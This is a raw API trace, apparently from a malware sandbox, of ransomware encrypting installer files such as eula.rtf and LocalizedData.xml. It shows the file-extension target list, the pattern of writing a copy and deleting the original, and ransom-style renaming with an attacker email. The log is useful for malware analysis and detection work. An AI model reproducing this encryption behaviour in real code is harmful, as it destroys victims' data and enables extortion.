lstrlenW (lpString=".1cd") returned 4 [0148.169] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0148.169] lstrlenW (lpString=".jpg") returned 4 [0148.169] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.169] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.169] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.169] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.170] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=77232) returned 1 [0148.170] CloseHandle (hObject=0x2f4) returned 1 [0148.170] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0148.170] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.170] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.170] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.170] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.170] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.170] GetLastError () returned 0x0 [0148.170] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x12db0, lpOverlapped=0x0) returned 1 [0148.182] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x12dc0, lpOverlapped=0x0) returned 1 [0148.183] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.183] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.183] SetEndOfFile (hFile=0x2f8) returned 1 [0148.183] CloseHandle (hObject=0x2f8) returned 1 [0148.185] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.185] SetEndOfFile (hFile=0x2f4) returned 1 [0148.525] CloseHandle (hObject=0x2f4) returned 1 [0148.525] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.528] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0148.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0148.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0148.528] lstrlenW (lpString=".doc") returned 4 [0148.528] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.528] lstrlenW (lpString=".docx") returned 5 [0148.528] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.529] lstrlenW (lpString=".pdf") returned 4 [0148.529] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.529] lstrlenW (lpString=".xls") returned 4 [0148.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.529] lstrlenW (lpString=".xlsx") returned 5 [0148.529] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.529] lstrlenW (lpString=".ppt") returned 4 [0148.529] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0148.529] lstrlenW (lpString=".zip") returned 4 [0148.529] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.529] lstrlenW (lpString=".rar") returned 4 [0148.529] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.529] lstrlenW (lpString=".bz2") returned 4 [0148.529] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.529] lstrlenW (lpString=".7z") returned 3 [0148.529] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0148.529] lstrlenW (lpString=".dbf") returned 4 [0148.529] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0148.529] lstrlenW (lpString=".1cd") returned 4 [0148.529] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0148.529] lstrlenW (lpString=".jpg") returned 4 [0148.529] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0148.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0148.529] lstrlenW (lpString=".doc") returned 4 [0148.529] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.529] lstrlenW (lpString=".docx") returned 5 [0148.529] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.529] lstrlenW (lpString=".pdf") returned 4 [0148.529] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.529] lstrlenW (lpString=".xls") returned 4 [0148.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.529] lstrlenW (lpString=".xlsx") returned 5 [0148.529] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.529] lstrlenW (lpString=".ppt") returned 4 [0148.530] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0148.530] lstrlenW (lpString=".zip") returned 4 [0148.530] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.530] lstrlenW (lpString=".rar") returned 4 [0148.530] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.532] lstrlenW (lpString=".bz2") returned 4 [0148.532] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.532] lstrlenW (lpString=".7z") returned 3 [0148.532] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0148.532] lstrlenW (lpString=".dbf") returned 4 [0148.532] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0148.532] lstrlenW (lpString=".1cd") returned 4 [0148.532] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0148.532] lstrlenW (lpString=".jpg") returned 4 [0148.532] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.532] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.532] lstrlenW (lpString="eula.rtf") returned 8 [0148.532] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.164] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10125) returned 1 [0149.164] CloseHandle (hObject=0x330) returned 1 [0149.164] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0149.164] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.164] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.164] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.164] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.165] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.165] GetLastError () returned 0x0 [0149.165] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x278d, lpOverlapped=0x0) returned 1 [0149.166] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2790, lpOverlapped=0x0) returned 1 [0149.167] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.167] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.167] SetEndOfFile (hFile=0x300) returned 1 [0149.167] CloseHandle (hObject=0x300) returned 1 [0149.168] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.168] SetEndOfFile (hFile=0x330) returned 1 [0149.169] CloseHandle (hObject=0x330) returned 1 [0149.169] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.169] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0149.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0149.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0149.170] lstrlenW (lpString=".doc") returned 4 [0149.170] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.170] lstrlenW (lpString=".docx") returned 5 [0149.170] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.170] lstrlenW (lpString=".pdf") returned 4 [0149.170] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.170] lstrlenW (lpString=".xls") returned 4 [0149.170] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.170] lstrlenW (lpString=".xlsx") returned 5 [0149.170] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.170] lstrlenW (lpString=".ppt") returned 4 [0149.170] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0149.170] lstrlenW (lpString=".zip") returned 4 [0149.170] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.170] lstrlenW (lpString=".rar") returned 4 [0149.170] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.170] lstrlenW (lpString=".bz2") returned 4 [0149.170] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.170] lstrlenW (lpString=".7z") returned 3 [0149.170] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0149.170] lstrlenW (lpString=".dbf") returned 4 [0149.170] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0149.170] lstrlenW (lpString=".1cd") returned 4 [0149.170] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0149.170] lstrlenW (lpString=".jpg") returned 4 [0149.170] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0149.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0149.170] lstrlenW (lpString=".doc") returned 4 [0149.170] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.170] lstrlenW (lpString=".docx") returned 5 [0149.170] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.170] lstrlenW (lpString=".pdf") returned 4 [0149.170] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.170] lstrlenW (lpString=".xls") returned 4 [0149.170] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.171] lstrlenW (lpString=".xlsx") returned 5 [0149.171] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.171] lstrlenW (lpString=".ppt") returned 4 [0149.171] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0149.171] lstrlenW (lpString=".zip") returned 4 [0149.171] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.171] lstrlenW (lpString=".rar") returned 4 [0149.171] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.171] lstrlenW (lpString=".bz2") returned 4 [0149.171] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.171] lstrlenW (lpString=".7z") returned 3 [0149.171] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0149.171] lstrlenW (lpString=".dbf") returned 4 [0149.171] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0149.171] lstrlenW (lpString=".1cd") returned 4 [0149.171] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0149.171] lstrlenW (lpString=".jpg") returned 4 [0149.171] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.171] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.171] lstrlenW (lpString="LocalizedData.xml") returned 17 [0149.171] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.172] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=77680) returned 1 [0149.172] CloseHandle (hObject=0x330) returned 1 [0149.172] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0149.172] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.172] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.172] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.172] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.172] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.173] GetLastError () returned 0x0 [0149.173] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x12f70, lpOverlapped=0x0) returned 1 [0149.176] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x12f80, lpOverlapped=0x0) returned 1 [0149.178] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.178] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf6, lpOverlapped=0x0) returned 1 [0149.178] SetEndOfFile (hFile=0x300) returned 1 [0149.178] CloseHandle (hObject=0x300) returned 1 [0149.180] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.180] SetEndOfFile (hFile=0x330) returned 1 [0149.181] CloseHandle (hObject=0x330) returned 1 [0149.181] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.182] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0149.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0149.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0149.182] lstrlenW (lpString=".doc") returned 4 [0149.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.182] lstrlenW (lpString=".docx") returned 5 [0149.182] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.182] lstrlenW (lpString=".pdf") returned 4 [0149.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.182] lstrlenW (lpString=".xls") returned 4 [0149.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.182] lstrlenW (lpString=".xlsx") returned 5 [0149.182] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.182] lstrlenW (lpString=".ppt") returned 4 [0149.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0149.182] lstrlenW (lpString=".zip") returned 4 [0149.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.182] lstrlenW (lpString=".rar") returned 4 [0149.182] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.182] lstrlenW (lpString=".bz2") returned 4 [0149.182] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.182] lstrlenW (lpString=".7z") returned 3 [0149.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0149.182] lstrlenW (lpString=".dbf") returned 4 [0149.182] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0149.182] lstrlenW (lpString=".1cd") returned 4 [0149.182] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0149.183] lstrlenW (lpString=".jpg") returned 4 [0149.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0149.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0149.183] lstrlenW (lpString=".doc") returned 4 [0149.183] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.183] lstrlenW (lpString=".docx") returned 5 [0149.183] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.183] lstrlenW (lpString=".pdf") returned 4 [0149.183] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.183] lstrlenW (lpString=".xls") returned 4 [0149.183] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.183] lstrlenW (lpString=".xlsx") returned 5 [0149.183] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.183] lstrlenW (lpString=".ppt") returned 4 [0149.183] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0149.183] lstrlenW (lpString=".zip") returned 4 [0149.183] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.183] lstrlenW (lpString=".rar") returned 4 [0149.183] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.183] lstrlenW (lpString=".bz2") returned 4 [0149.183] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.183] lstrlenW (lpString=".7z") returned 3 [0149.183] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0149.183] lstrlenW (lpString=".dbf") returned 4 [0149.183] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0149.183] lstrlenW (lpString=".1cd") returned 4 [0149.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0149.183] lstrlenW (lpString=".jpg") returned 4 [0149.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.183] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0149.183] lstrlenW (lpString="eula.rtf") returned 8 [0149.183] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.184] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3859) returned 1 [0149.184] CloseHandle (hObject=0x330) returned 1 [0149.184] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0149.184] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.184] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.184] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.184] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.184] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.184] GetLastError () returned 0x0 [0149.184] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, 